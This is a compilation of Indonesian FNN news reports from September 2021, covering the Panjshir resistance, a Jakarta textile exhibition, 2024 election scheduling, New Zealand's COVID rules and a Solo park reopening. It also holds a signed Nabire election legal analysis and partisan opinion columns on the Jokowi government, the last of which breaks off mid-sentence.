Kabul, FNN - Kepala Front Perlawanan Nasional Afghanistan (NRFA) Ahmad Massoud siap melakukan negosiasi dengan Taliban sebagai upaya untuk mengakhiri pertempuran. Ia membuat pengumuman di halaman Facebook kelompok Front Perlawanan Nasional Afghanistan (NRFA) pada Ahad, 5 September 2021. Sebelumnya, pasukan Taliban mengatakan mereka telah berjuang memasuki ibu kota provinsi Panjshir setelah mengamankan distrik-distrik di sekitarnya. Taliban menguasai seluruh Afghanistan tiga minggu lalu, mengambil alih kekuasaan di Kabul pada 15 Agustus setelah pemerintah yang didukung Barat runtuh dan Presiden Ashraf Ghani meninggalkan negara itu. "NRFA pada prinsipnya setuju untuk menyelesaikan masalah saat ini dan segera mengakhiri pertempuran dan melanjutkan negosiasi," kata Massoud, sebagaimana dikutip dari Antara, Senin, 6 September 2021. "Untuk mencapai perdamaian abadi, NRFA siap menghentikan pertempuran dengan syarat Taliban juga menghentikan serangan dan gerakan militer mereka di Panjshir dan Andarab," katanya, merujuk pada sebuah distrik di provinsi tetangga Baghlan. "Sebuah pertemuan besar dari semua pihak dengan majelis ulama kemudian bisa diadakan," katanya. Sebelumnya, media Afghanistan melaporkan, para ulama telah meminta Taliban untuk menerima penyelesaian yang dinegosiasikan guna mengakhiri pertempuran di Panjshir. Akan tetai, tidak ada tanggapan segera dari Taliban atas permintaan tersebut. Pada Ahad, NRFA juga mengonfirmasi bahwa juru bicara utamanya, Fahim Dashti, telah tewas pada siang hari. Sebelumnya, Dashti selamat dari serangan bunuh diri yang menewaskan ayah Massoud, Ahmad Shah Massoud, pada 9 September 2001, hanya beberapa hari sebelum serangan 11 September di Amerika Serikat. Dia telah menjadi salah satu sumber utama informasi terkini dari Panjshir ketika Taliban menekan pasukan oposisi. Ia mengeluarkan serangkaian pernyataan menantang di Twitter, bersumpah bahwa perlawanan akan terus berlanjut. Massoud, yang memimpin pasukan yang terdiri dari sisa-sisa tentara reguler Afghanistan dan unit pasukan khusus serta pejuang milisi lokal, menyerukan penyelesaian yang dinegosiasikan dengan Taliban sebelum pertempuran pecah sekitar seminggu yang lalu. Beberapa upaya pembicaraan diadakan tetapi akhirnya gagal, dengan masing-masing pihak saling menyalahkan atas kegagalan mereka. Juru bicara Taliban, Bilal Karimi mengatakan sebelumnya, pasukan mereka telah berhasil masuk ke ibukota provinsi, Bazarak, dan telah menyita sejumlah senjata dan amunisi. Panjshir, sebuah lembah pegunungan terjal yang masih dipenuhi puing-puing tank Soviet yang dihancurkan selama perang panjang pada 1980-an untuk menggulingkan kehadiran Soviet, terbukti sangat sulit diatasi di masa lalu. Di bawah Ahmad Shah Massoud, wilayah tersebut telah lama menolak kendali oleh tentara Soviet dan pemerintah Taliban yang sebelumnya memerintah dari tahun 1996 hingga 2001. Pertempuran Panjshir telah menjadi contoh paling menonjol dari perlawanan terhadap Taliban. (MD).

Disbud DKI: Pameran Kain Tradisional untuk Lestarikan Warisan Budaya

Jakarta, FNN - Kepala Dinas Kebudayaan (Disbud) DKI Jakarta Iwan Henry Wardhana mengemukakan, pameran wastra atau kain tradisional dengan motif fauna Indonesia di Museum Tekstil Jakarta penting untuk melestarikan warisan budaya. "Kita dapat mengambil sebuah inspirasi dan proses kreatif dari perajin tekstil tradisional," katanya pada pembukaan pameran kain tradisional di Museum Tekstil di Jakarta, Senin. Pameran kain tradisional dengan motif fauna diadakan untuk menyemarakkan Hari Ulang Tahun (HUT) ke-45 Museum Tekstil, Jakarta, 6-25 September 2021. Sebanyak 20 buah koleksi Museum Tekstil dan 25 buah koleksi Rumah Wastra Jo Seda dipamerkan melalui pameran bertajuk "Ragam Hias Fauna dalam Wastra Indonesia". Pameran diinisiasi oleh Unit Pengelola Museum Seni. Motif fauna yang dipamerkan di antaranya serangga, hewan laut, unggas hingga hewan mitologi. Motif itu memiliki pesan dan makna tertentu yang sering kali menggambarkan kehidupan dan kepercayaan masyarakat setempat. Menurut dia, kain tradisional dan ragam motif di dalamnya perlu mendapat perlindungan dari risiko kepunahan. Dia menjelaskan, perkembangan kain tradisional tidak terlepas dari keanekaragaman alam Indonesia yang menjadi sumber inspirasi perajin sehingga melahirkan produk budaya daerah. Misalnya, masyarakat pesisir akan lebih banyak menggambarkan hewan laut dan biota di ekosistem laut sebagai ragam hias kain tekstil. Sedangkan, pada masyarakat pegunungan, burung dan fauna di hutan menjadi sumber inspirasi yang dituangkan dalam selembar kain. "Manusia bisa menyampaikan ide, gagasan, kreasi maupun hasil berdasarkan apa yang dilihat oleh dirinya," katanya. (mth)

KPU Usulkan Pilkada Serentak 27 November 2024

Jakarta, FNN - Komisi Pemilihan Umum (KPU) RI mengusulkan penyelenggaraan pemilihan kepala daerah (Pilkada) serentak pada 27 November 2024. "Kami mengusulkan penyelenggaraan pemilihan gubernur, bupati dan wali kota pada 27 November 2024, mengacu pada UU Nomor 10 tahun 2016," kata Ketua KPU Ilham Saputra dalam rapat dengar pendapat (RDP) bersama Komisi II DPR, Bawaslu dan DKPP di Gedung Senayan, Jakarta, Senin, 6 September 2021. Ilham menjelaskan alasan penetapan waktu itu mengacu pada persiapan pemilihan 2018 selama 12 bulan (Juni 2017 sampai Juni 2018), persiapan Pemilu tahun 2019 selama 20 bulan (Agustus 2017 sampai April 2019) dan persiapan pemilihan 2020 (September 2019 sampai Desember 2020). "Untuk persiapan sudah disetujui bersama selama 25 bulan untuk Pemilihan 2024 sebelum hari pemungutan suara," ujar Ilham, seperti yang dikutip dari Antara. Ilham merincikan penggunaan waktu itu yakni verifikasi kepengurusan partai politik untuk penelitian dan perbaikan selama 30 hari. Durasi verifikasi faktual parpol tingkat provinsi, kabupaten/kota selama 53 hari. Kemudian, durasi pembemtukan PPK, PPS dan KPPS selama 92 hari. Durasi pemutahiran data pemilih 30 hari. Kampanye selama 120 hari, masa kerja PPK dan PPS selama enam bulan sebelum dan dua bulan setelah pilkada. Serta durasi pencalonan kepala daerah selama 18 hari dan durasi masa kampanye kepala daerah selama 60 hari, "Alangkah lebih baik, jika persetujuan waktu pemilihan dipercepat, karena banyak sekali yang perlu kita persiapkan," harap Ilham. Sementara itu, Ketua Komisi II DPR RI Ahmad Doli Kurnia mengatakan RDP itu merupakan tindak lanjut dari rapat kerja sebelumnya, dimana komisi II membentuk tim kerja bersama Kemendagri, KPU, Bawaslu dan DKPP, untuk menyusun konsep dan desain penyelenggaraan pemilu di tahun 2024. "Kita sama-sama paham, kalau di tahun 2024 adalah tahun politik, karena sepanjang tahun kita menyelenggarakan event politik dan itu bukan hal yang mudah," kata Doli menegaskan. Doli berharap dengan konsep dan desain serta mengetahui tingkat kerumitan dari awal, maka semua pihak dapat mengurai serta mendapatkan solusinya. "Dalam waktu dua bulan terakhir, tim kerja bersama sudah melakukan pertemuan untuk mematangkan konsep dan desain serta merumuskan beberapa hal terkait penyelenggaraan Pemilu 2024," jelas Doli. (MD).

Selandia Baru Cabut Tindakan Pembatasan Sosial

Wellington, FNN - Perdana Menteri Selandia Baru Jacinda Ardern pada Senin mengatakan pembatasan sosial akibat virus corona secara nasional akan dicabut, kecuali di kota terbesar Auckland. Pencabutan pembatasan tersebut dilakukan pemerintah Selandia Baru ketika negara itu berada di puncak wabah varian Delta. Selandia Baru sebagian besar berhasil bebas dari wabah virus corona, namun tidak termasuk sekelompok kecil kasus COVID-19 pada Februari. Seorang pelancong yang terinfeksi dari Australia menyebarkan wabah virus corona di Selandia Baru. Hal itu mendorong Ardern untuk memberlakukan penguncian nasional pekan lalu. Ardern, yang mengatakan pembatasan akan dilonggarkan di luar Auckland mulai Rabu (8/9), terus mengupayakan strategi eliminasi untuk menurunkan jumlah kasus COVID-19 di negara itu. "Kami berada di ambang eliminasi (virus), tetapi kami tidak bisa menghapus pembatasan begitu saja,” kata Ardern pada konferensi pers yang disiarkan televisi. "Hari demi hari kami membuat kemajuan yang sangat baik. Yang tidak ingin saya lakukan adalah bergerak terlalu cepat dan kemudian melihat kenaikan kembali kasus infeksi," ujarnya. Sekitar 1,7 juta orang di Auckland dan area sekitarnya, yang merupakan pusat wabah COVID-19 di Selandia Baru, akan tetap berada dalam penguncian tingkat 4 atau lockdown penuh hingga setidaknya 14 September. Pelonggaran status waspada ke level 2 dari level 3 di seluruh negeri akan memungkinkan pembukaan kembali sekolah, kantor, dan bisnis. Perjalanan di tingkat regional juga akan diizinkan. Penggunaan masker masih akan diwajibkan di sebagian besar tempat umum, termasuk toko dan mal. Tempat-tempat bersantai dan hiburan dalam ruangan akan dibatasi hingga 50 pelanggan dan 100 orang untuk tempat di luar ruangan. Kasus baru harian COVID-19 dalam wabah saat ini di Selandia Baru telah turun dari puncaknya 85 kasus pada 29 Agustus menjadi 20 kasus pada Senin (6/9). Wabah saat ini menyebabkan 821 dari total sekitar 3.400 kasus COVID-19 di negara itu sejak awal pandemi. Selandia Baru pun telah melaporkan 27 kematian terkait infeksi virus corona. Langkah penguncian ketat dan penutupan perbatasan internasional yang diterapkan pemerintahan Ardern telah membantu mengendalikan COVID-19. Namun, pemerintah Selandia Baru sekarang menghadapi pertanyaan atas peluncuran vaksin yang tertunda dan peningkatan biaya di negara yang sangat bergantung pada tenaga kerja imigran itu. Hanya sekitar 30 persen dari 5,1 juta orang di Selandia Baru yang telah divaksin sepenuhnya. Angka vaksinasi di Selandia Baru itu merupakan laju vaksinasi paling lambat di antara negara-negara kaya yang tergabung dalam Organisasi Kerja Sama dan Pembangunan Ekonomi (OECD). (mth)

Pengunjung Mulai Datangi Balekambang Pasca Pelonggaran PPKM

Solo, FNN - Ratusan pengunjung mulai mendatangi Taman Balekambang Solo pascapelonggaran Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) menjadi level 3. Kepala UPT Kawasan Wisata Balekambang Dinas Pariwisata Kota Surakarta Sumeh di Solo, Senin mengatakan sejak pembukaan pertama pada tanggal 1 September 2021, hingga saat ini jumlah pengunjung terus mengalami kenaikan. Pihaknya mencatat pada hari pertama pembukaan jumlah pengunjung sebanyak 35 orang dan hari kedua 40 orang. Sedangkan hari Sabtu dan Minggu terjadi lonjakan yang lebih tinggi, yakni 136 pengunjung di hari Sabtu dan 602 orang di hari Minggu. Untuk memastikan tidak terjadi penularan COVID-19 di kawasan tersebut, pihaknya berupaya menerapkan protokol kesehatan berjalan dengan baik, di antaranya pengunjung wajib mengenakan masker, wajib cek suhu tubuh sebelum masuk lokasi objek wisata, dan wajib vaksin bagi pengunjung dewasa. "Sementara ini untuk pengunjung di bawah 12 tahun tidak wajib vaksin karena vaksin untuk anak kan belum tersedia," katanya. Meski demikian, untuk anak di bawah lima tahun, orang tua, dan ibu hamil tidak diperbolehkan untuk masuk ke objek wisata alam tersebut. Sedangkan untuk pengunjung usia dewasa, dikatakannya, wajib mengaktifkan aplikasi Peduli Lindungi. "Namun untuk 'barcode' kami belum dapat, baru mengajukan ke Kementerian Kesehatan," katanya. Sementara itu, untuk penyelenggaraan event seni dan budaya baik itu ketoprak maupun Sendratari Ramayana sejauh ini masih dipertontonkan secara daring atau "live streaming". "Yang seni budaya ketoprak pada malam minggu kemarin kami sudah tampil secara 'live streaming', penontonnya cukup banyak, sampai 500 orang. Kalau untuk Sendratari Ramayana akan mulai dilakukan kembali pada tanggal 10 September nanti," katanya. (mth)

Potensi Putusan MK Soal Pilkada Kabupaten Nabire

by Marthen Goo Nabire FNN- Siapa yang mendalil, dialah yang harus membuktikan. Itulah teori dasar dalam hukum. Sehingga ketika para pihak yang merasa dirugikan dalam proses Pemilihan Kepala Daerah (Pilkada), dan ingin mencari kedilan, merekalah yang wajib untuk membuktikan dalil-dalil yang dituduhkan dalil-dalil yang dituduhkan. Sementara, sebagai peminat hukum tatanegara, masalah pilkada di Kabupaten Nabire menurut penulis penting untuk didalami. Apalagi untuk hal-hal yang berhubungan dengan Konstitusi. Melihat pada pilkada serentak lalu yang dilakukan pada 9 Desember 2020, KPU Kabupaten Nabire menetapkan bahwa jumlah Daftar Pemilih Tetap (DPT) di kabupaten Nabire adalah 178.545. Sementara jumlah penduduk kabupaten Nabire hanya 172.190 orang, sehingga DPT yang melibihi jumlah penduduk sebesar 103%. Artinya, secara logika tak masuk di akal. Sebab umumnya DPT lebih rendah dari pada jumlah penduduk. Karena kasus terhadap DPT itu turut melanggar konstitusi, maka Mahkamah Konstitusi (MK) kemudian memutuskan dilakukannya PSU untuk Kabupaten Nabire dengan cara melakukan pencoblosan ulang. PSU dilakukan pada tanggal 28 Juli 2021 dengan DPT sebesar 85.983. Logika penetapan DPT oleh KPU Nabire dikarenakan dua hal. Pertama, DP-4 adalah 115.877 orang. Kedua, belum ada perekaman e-KTP dengan rujukan UU Pilkada. Batasan penduduk berumur di atas 17 tahun untuk penentuan DPT 65%-75% dari jumlah penduduk. Logika Hitung Sederhana Penduduk berumur 17 tahun ke atas jika merujuk pada keterangan Direktorat Jenderal Kependudukan dan Catatan Sipil (Dukcapil) sesuai Putusan MK No. 84/PHP.BUP-XIX/2021 berkisar 65% hingga 75%. Artinya bahwa perhitungan DPT yang logis adalah 112.118 – 129.142 orang. Perhitungan itu didasarkan pada jumlah penduduk Nabire yang mencapai 172.190 orang. Merujuk pada perhitungan minimum DP-4, maka, DPT untuk 65% dari 172.190 orang (jumlah penduduk) adalah 112.118 orang. Sementara kementerian dalam negeri memberikan batasan DP-4 adalah 115.877. Selisih kewajaran adalah DP-4 – DPT Minimum 115.877 – 112.118 = 3.759 orang. Jadi, yang bisa tidak bisa digunakan hanyalah 3.750 orang. Itu pun didasarkan pada fakter kedewasaan atau faktor ketuaan. Tentu tidak boleh lebih dari 3.750 orang. Sementara, DPT yang ditetapkan KPU adalah 85.983 orang. KPU Nabire menghilangkan 29.894 orang. Pada hal, kewajaran yang bisa dihilangkan hanyalah 3.750 orang. Tidak boleh lebih. Artinya, telah terjadi kehilangan hak konstitusional pemilih berdasarkan DPT adalah 26.144 orang. Selisih yang wajar pun, harus didasarkan pada alasan yang logis dan terukur. Perbandingan Selisih Suara Jika merujuk pada perbandingan selisih suara para kandidat, maka, dapat kita lihat sebagai berikut, yakni pasangan Yufinia Mote – M Darwi sebanyak 18.184 suara, pasangan Mesak Magai – Ismail D. Dapat 25.259 suara dan pasangan FX. Mote -Tabroni dapat 16.135 suara Selisih suara pemenang dan urutan kedua serta ketiga adalah 7.075 dan 9.124 suara. Dengan demikian, jika DPT 26.144 orang yang hilang itu dikembalikan, maka, perubahan suara bisa terjadi secara drastis dan dapat mengubah kemenangan. Sementara gugatan di MK bukan pada suara, tetapi pada DPT dan dugaan adanya pelanggaran. Tentu MK akan memiliki penilaian sendiri bahwa jika itu DPT, maka, tentu pelanggaran serius. Menurut Pasal 57 UU No. 10 Thn 2016 Jo Pasal 5 ayat 1 PKPU No. 19 Thn 2019 yang menyebutkan soal syarat pemilih, dengan jelas menyebutkan bahwa syarat pencoblosan adalah “berdomisili di daerah pemilihan yang dibuktikan dengan Kartu Tanda Penduduk Elektronik”. Sementara ada pengecualian pada Pasal 1e yakni “dapat menggunakan Surat Keterangan yang diterbitkan dinas yang menyelenggarakan urusan kependudukan dan catatan sipil setempat”. Pengecualian pada pasal 1e, tentu ketika terjadi pengurangan suara karena tidak adanya e-KTP, mestinya dikeluarkan surat keterangan yang diterbitkan dinas yang menyelenggarakan urusan kependudukan catatan sipil setempat. Walaupun demikian, terhadap pasal 1e PKPU tersebut tentu bertentangan dengan pasal 57 UU No. 10 Thn 2016, karena pada UU ini tidak ada ruang atau pengecualian. Jika dilihat secara sudut pandang konstitusi, terjadi dugaan kekeliruan fatal yang dilakukan Pembuat UU dan PKPU karena tidak merumuskan regulasi berdasarkan kondisi objektif nasional, tetapi patut diduga masih memakai kondisi Jawa dalam mengukur seluruh daerah. Sementara masalah di daerah masih soal perekaman e-KTP, sehingga jika disyaratkan dengan e-KTP, maka hak konstitusi warga negara akan hilang. Itu pelanggaran serius. Logika Konstitusi Jika merujuk pada keberadaan Mahkamah Konstitusi, UUD ’45 mensyaratkan salah satunya adalah menguji UU terhadap UUD’45. Sementara hal lain juga adalah terhadap keputusan sengketa pilkada, putusan MK adalah Final dan Banding. Artinya, bahwa keputusan MK melewati UU jika itu berhubungan dengan prinsip Konstitusi. Meniadakan hak suara warga negara sebanyak 26.144 adalah pelanggaran serius terhadap konstitusi. Apapun dalilnya, mau dipakai dalam teori hukum apapun, menghilangkan hak konstitusi warga negara adalah hal yang salah. Putusan MK bisa melewati UU Pilkada, karena MK adalah roh penjaga konstitusi negara. Tidak-terpenuhinya pelaksanaan UU Pilkada dan PKPU sesungguhnya adalah kelalaian pembuat peraturan, karena hak konstitusi warga negara dan situasi sosial di daerah. Mestinya KPU meminta Presiden untuk mengeluarkan Peraturan Pemerintah Pengganti Undang-Undang (Perppu) terkait pengecualian terhadap UU Pilkada yang mensyaratkan e-KTP, agar tidak menghilangkan hak konstitusi warga negara. Jika melihat secara seksama dari logika di atas, maka untuk Pilkada Nabire maka Mahkamah Konstitusi Kemungkinan akan memutuskan pilkada ulang atau disesuaikan dengan pilkada kerentak 2024, dengan empat pertimbangan. Pertama, terjadi penghilangan DPT sebanyak 26.144 orang. Kedua, DPT hilang tersebut bisa mempengaruhi angka kemenangan masing-masing kandidat. Ketiga, telah terjadi hak konstitusi warga negara yang dihilangkan dan itu pelanggaran berat serius walau didasarkan pada UU No. 10 Thn 2016. Keempat, keberadaan MK melampaui UU karena berpegang pada prinsip Konstitusi. Karena empat alasan tersebut, maka analisa penulis Mahkamah Konstitusi (MK) akan memutuskan dua keputusan. Pertama, Pilkada ulang di Kabupaten Nabire. Kedua, tunda dan mengikuti pilkada serentak 2024 dengan memperbaiki DPT dan pemenuhan hak konstitusi warga negara. MK tidak punya alasan logis lain secara konstitusi, kecuali ada tindak pidana yang dapat dibuktikan. Jika putusan MK lebih pada kemungkinan kedua, yakni tunda dan mengikuti pilkada serentak langsung pada 2024, maka, rekomendasi penulis untuk MK adalah mempertimbangkan status kandidat dengan putusan mengembalikan posisi masing-masing pada pekerjaan awalnya. Mereka dianggap tidak mengundurkan diri dari status kerjaan awal sebagai bentuk penghormatan kepada hak konstitusi masing-masing kandidat. Namun jika putusan MK lebih pada poin pertama, yakni pilkada ulang, maka rekomendasi penulis adalah MK harus memutuskan syarat pencoblosan didasarkan pada rekomendasi atau surat keterangan sahnya pemilih dari kepala dewasa dan/atau kelurahan sebagai syarat pengecualian di propinsi Papua di luar dari UU Pilkada atau merujuk pada pasal 1e PKPU. Petimbangan itu bisa dijadikan Yurisprudensi, sampai perekaman dan e-KTP terlaksana secara menyeluruh di Papua. Penulis adalah Peminat HTN dan Aktivis Kemanusiaan Asal Papua.

Apakah Bisa Pemerintahan Jokowi Bertahan Sampai Akhir Tahun Ini?

Oleh Salamuddin Daeng BENARKAH pemerintah masih banyak uang? Saya rasa tidak benar. Pemerintah sekarang sudah kempes, uang negara telah habis tersedot lubang hitam Covid-19. Katanya ada uang hasil jual surat utang ke Bank Indonesia (BI), padahal itu semacam kotak amal pinggir jalan juga, cuma memakai BI sebagai makelar. Apa ada yang mau mengisi kotak amal yang ditenteng makelar BI? Mau bukti? Listrik buktinya. Sebanyak 50-75 persen listrik PLN tidak terjual. Padahal PLN telah membeli listrik itu dari pembangkit swasta. Ini artinya ekonomi dan industri tinggal 25-30 persen yang beroperasi. Selebihnya telah gulung tikar. Siapa yang bayar pajak. Contoh lain penjualan BBM Pertamina telah turun 25-30 persen. Berarti ekonomi tidak bergerak. Siapa yang bisa bayar pajak di era semacam ini? Tapi kok pemerintah masih tampak gagah dan banyak uang? Ya benar ini masih sama dengan dulu mencitrakan diri gagah dan banyak uang, tapi sebetulnya kering kerontang. Semua yang tampak, baru-baru ini adalah usaha pencitraan, komunikasi bukan dengan rakyat tapi dengan yang punya uang di internasional. Bagaimana pencitraan itu? Contoh : 1. Pemerintah mengesankan masih banyak piutang, atau uang pemerintah di tangan orang. Ini lewat aksi satgas BLBI. Pemerintah menggunakan jurus perdata untuk menarik piutang BLBI, faktanya masalah uang BLBI itu tidak bisa diselamatkan melalui perdata, karena itu semua adalah kasus pidana. Pembebasan Syamsul Nursalim atas dugaan kasus korupsi merupakan komunikasi bahwa investor pemilik uang BLBI silakan masuk. Faktanya tak ada uang BLBI yang mau kembali ke Indonesia. Syamsul Nursalim mau ditukar guling. Mau ditangkap interpol? 2. Pemerintah mengundang pimpinan partai koalisi untuk memuji-muji Presiden Jokowi. Ini adalah komunikasi kepada internasional bahwa Presiden Jokowi masih memiliki legitimasi, masih layak memimpin, sehingga masih layak mendapatkan utang atau pinjaman. Faktanya tidak ada pihak asing bilateral dan multilateral yang memberikan pinjaman. 3. Pemerintah dan DPR mewacanakan amandemen UUD 1945 membuka perdebatan soal presiden 3 periode atau juga perdebatan perpanjangan masa jabatan presiden. Semua ini tampaknya untuk mengesankan bahwa pemerintah ini masih didukung rakyat dan pemerintah sedang merencanakan kelanjutan dari proyek-proyek yang ada karena pemerintah didukung rakyat. Faktanya tidak ada yang bisa berbohong di era digitalisasi. Big data sebenarnya tahu persis kapan pemerintah ini akan tumbang karena kehabisan uang. Semua pencitraan yang dilakukan pemerintah bukan komunikasi kepada rakyat. Buat apa komunikasi dengan rakyat, presiden yang sekarang tidak memerlukan citra untuk memenangkan pemilu. Dengan demikian itu adalah komunikasi dengan internasional bahwa pemerintah layak mendapatkan utang karena pemerintah punya banyak piutang, aset, sumber daya dan secara politik masih layak diutangi oleh bandar internasional. Utang buat apa? Pemerintah utang buat makan, rakyat utang buat makan, swasta utang buat makan, tidak ada yang utang buat usaha produktif. Dengan sedikit kemasan melanjutkan mega proyek Ibu Kota baru dengan memburu utang yang tidak akan pernah didapat. Sri Mulyani bahkan minta rakyat rajin bayar pajak supaya negara bisa bayar utang. Coba tanya Datuk Maringgih mengapa dia menolak bayar pajak pada Belanda? Sementara utang pun tak mudah, sekarang ini tak ada lembaga keuangan multilateral atau pinjaman bilateral seperti dulu-dulu. Semua negara sibuk mengurus dirinya sendiri. China, Amerika, Eropa pusing tujuh keliling menghadapi bencana alam dan juga menghadapi covid-19. Uang mereka pun habis tersedot. Mereka bisa bertahan karena punya tabungan (mantab/makan tabungan). Sementara Indonesia setiap hari harus menghadapi debt collector, menunggu di depan pintu istana dengan sekoper surat tagihan. Sementara uang buat bayarnya tunggu ada yang bayar pajak. Lah bagaimana bayar pajak, sementara makan aja susah. Tahun ini akan menjadi tahun paling bahaya tagihan banyak, makan susah. Tapi ada sedikit jalan, GOYANG TIKTOK siapa tau menteri-menteri banyak subscriber-nya, bisa monetisasi dan dapat uang buat menolong presiden. *) Direktur AEPI

Bisakah Pandemi Covid-19 Jatuhkan Jokowi?

Oleh Danu Subroto JAWABANNYA adalah secara teoritis bisa dan sangat bisa. Secara aplikatif, jawabannya ada pada takdir Tuhan dan keberanian rakyat Indonesia. Kenapa secara teori dikatakan bisa? Karena pertanyaan ini sudah dijawab dalam disertasi konsultan politik papan atas Indonesia yaitu Bung Denny JA dari Lembaga Survei Indonesia. Bung Denny JA menuliskan dalam disertasinya, setidaknya ada 4 syarat yang mesti dipenuhi apabila ingin terjadi perubahan kepeminpinan di Indonesia. Apakah itu melalui jalur parlemen maupun extra-parlemen. Dimana hasil kajian ini beliau ambil dari dua fase sejarah pergantian kepemimpinan nasional di Indonesia. Yaitu, pertama pada fase jatuhnya Soekarno pada tahun 1966, dan fase kedua lengsernya atau mengundurkan dirinya Soeharto pada tahun 1998. Empat syarat dan indikator bisa terjadinya pergantian kepemimpinan nasional di Indonesia adalah: Pertama, pecahnya kelompok istana sebagai pusat atau sentral kekuasaan. Di era Soekarno sangat kentara terjadi perpecahan antara TNI AD dengan kelompok PKI, dimana puncaknya adalah terjadinya tragedi berdarah 30 September 1965. Terbunuhnya 7 orang Jendral TNI AD, yang kemudian berbalik arah, dimana rakyat khususnya umat Islam bersatu bersama TNI memberangus kudeta ideologis kelompok PKI ini. Sebelumnya, perpecahan antara kelompok PKI yang notabenenya adalah pendukung utama dan anak emas pemerintahan Soekarno sudah terjadi jauh hari sebelum pemberontakan. Dengan umat Islam terkait benturan asas Nasakom (Nasionalis, Agama, Komunis) versi Soekarno yang ditentang kuat oleh kelompok Islam seperti Muhammadiyah, Masyumi, Persis, dan sebagian NU kultural. Perpecahan ini sampai ke istana berupa isu Dewan Jendral, angkatan kelima, poros Jakarta - Moskow, Jakarta - Peking, dan penolakan keras dari kubu TNI AD atas masuknya 100 ribu pucuk senjata buat angkatan ke 5 usulan PKI. Perpecahan dalam tubuh Istana ini, menjadi indikator utama jatuhnya Soekarno. Demikian juga dengan Soeharto. Pertarungan ideologis antara Jendral Hijau dan Jendral Merah dalam tubuh ABRI (TNI ketika itu), ditambah mundurnya 14 orang menteri utama pemerintahan Soeharto, ketua MPR saat itu Harmoko yang juga berbalik arah, menyebabkan Soeharto memilih jalan mengundurkan diri ketika melihat para pembantu dan orang dekatnya berkhianat dan berbalik arah. Akhirnya Soeharto menyatakan berhenti sebagai Presiden RI selama 32 tahun dan kemudian digantikan oleh BJ Habibie yang waktu itu menjabat sebagai Wakil Presiden. Kedua, terjadinya krisis dan resesi ekonomi. Di zaman Soekarno ekonomi nasional sangat amburadul. Antrian beli minyak tanah buat masak, antrian mendapat jatah beras dan sembako adalah pemandangan biasa saat itu. Banyak rakyat kelaparan dan anak anak kurang gizi. Pemerintahan Soekarno saat itu lebih menyibukkan dirinya ke luar negeri menjual ide Nasakom, serta sibuk memadamkan perang saudara baik dengan DI/TII, PRRI dan Parmesta. Termasuk juga di dalamnya operasi Ganyang Malaysia dan operasi perebutan Irian Barat dari tangan Belanda. Berbagai bentuk perang ini sangat menguras energi bangsa hingga melahirkan krisis ekonomi nasional. Begitu juga di zaman Soeharto 1998. Krisis moneter yang melanda dunia juga berdampak keras terhadap Indonesia. Melambungnya dolar hingga 16 ribu, kelangkaan BBM, minyak tanah, susu buat anak anak, serta beras buat makan. Menjadikan banyak rakyat yang kelaparan. Perut kosong karena kelaparan rakyat inilah yang sangat mudah menyulut gerakan reformasi para mahasiswa dan masyarakat turun berdemonstrasi. Ketiga, yaitu terbentuknya arus oposisi yang kuat. Era Soekarno yang didukung kelompok PKI dan loyalis Soekarno begitu dominan dalam pemerintahan dan banyak menyingkirkan kelompok islamis seperti Masyumi, Muhammadiyah, NU kultural, dan TNI. Kelompok "oposisi ini" yang kemudian bersatu padu pasca meletusnya tragedi 30 September 1965. Walaupun sebenarnya secara personal kelompok atau barisan oposisi ini tidak ada masalah dengan Soekarno tetapi dengan PKI. Yaitu benturan ideologis, dimana PKI membawa isu komunis yang bertentangan dengan ajaran Islam dan Pancasila sila pertama KeTuhanan Yang Maha Esa. Di zaman Soeharto juga hampir sama. Mahasiswa sebagai garda terdepan, melahirkan banyak tokoh sentral seperti Amien Rais. Dari NU ada Gus Dur, ada Megawati dan juga termasuk Akbar Tanjung dari Golkar yang begitu pragmatis ketika itu. Arus kuat oposisi dengan mahasiswa sebagai garda terdepan ini, mampu menggoyahkan nurani Soeharto untuk menyatakan berhenti. Puluhan nyawa mahasiswa melayang. Tak terhitung juga kerusakan harta benda, ruko, mobil, yang hangus terbakar di bakar massa. Begitu juga penjarahan. Keempat, adanya dukungan luar negeri. Di jaman Soekarno adalah awalnya terjadi perang ideologis dunia. Antara blok barat dengan kapitalisme liberalnya dengan blok timur dengan sosialis komunisnya. Kebetulan Soekarno lebih condong berkolaborasi dengan blok timur, otomatis kelompok yang berseberangan dengan Soekarno mendapat dukungan dari blok barat yaitu Amerika dan Inggris. Jadi tak heran, ketika Soekarno jatuh, ini merupakan ibarat durian runtuh bagi blok barat. Dan tentu saja, Indonesia yang ketika itu sukses besar menghambat pengaruh komunis di Asia Tenggara mendapat previlage khusus dari Amerika dan sekutunya. Berbagai dukungan logistik, uang, pinjaman, investasi, dan politik di berikan pada Indonesia saat itu. Begitu juga pada masa Soeharto. Ketika Soeharto sudah dianggap tidak bisa di kendalikan kekuatan global. Ditambah Soeharto di masa akhir jabatannya mulai mesra dengan kelompok Islam mulai dianggap jadi ancaman bagi dunia barat. Karena Indonesia sebagai negara yang besar kaya raya dan mayoritas Islam, adalah ancaman apabila maju. Maka, skenario krisis moneter menjadi pintu masuk kekuatan global dengan memanfaatkan para barisan sakit hati, para anak PKI yang dendam dengan Soeharto, para korban kebijakan otoriter Soeharto, para Jenderal merah, Taipan yang oportunis bersatu padu untuk bersama jatuhkan Soeharto. Dukungan asing ini jelas terlihat dengan berlabuhnya kapal perang Amerika dan sekutunya di teluk Jakarta. Serta sudah menjadi rahasia umum saat itu, bagaimana jutaan dolar amerika menyirami tubuh para aktifis, intelektual, advokad, media pers, dan aparat tertentu membiayai gerakan reformasi turun ke jalan. Berkaca mata dari empat syarat dan indikator bisa terjadinya perubahan kepemimpinan nasional saat ini, bisa dengan jelas kita sematkan pada pemerintahan Jokowi saat ini, yaitu ; Pertama, terjadinya perpecahan dalam tubuh istana. Ini sudah mulai terlihat sejak penunjukan menteri-menteri. Perang dingin antara Megawati dan Jokowi juga bisa dilihat dengan kasat mata. Baik dari gestur politik kebijakan maupun dalam dukung mendukung Capres 2024 antara friksi Puan Vs Ganjar. Namun, perpecahan ini tentu berapa bobot dan berbahayanya hanya mereka yang tahu. Namun kalau ini dibiarkan maka akan jadi pemicu utama barisan pendukung Jokowi. Yaitu bobot antara seberapa loyalitas para pembantunya pada Jokowi atau pada partai politik pengusungnya. Atau para sponsor lain di belakangnya. Atau seperti jaman Soeharto. Ketika terjadi kegaduhan alias tahu kapal mau tenggelam, justru para orang terdekat ini dulu yang kabur dan khianat cari selamat. Kedua, terjadinya krisis dan resesi. Pandemic Covid19 ini sudah sangat cukup membuat rezim hari ini babak belur. Hanya untung saja, Jokowi hari ini didukung total oleh Polri dan media massa plus para Buzzer dan Influencer. Namun 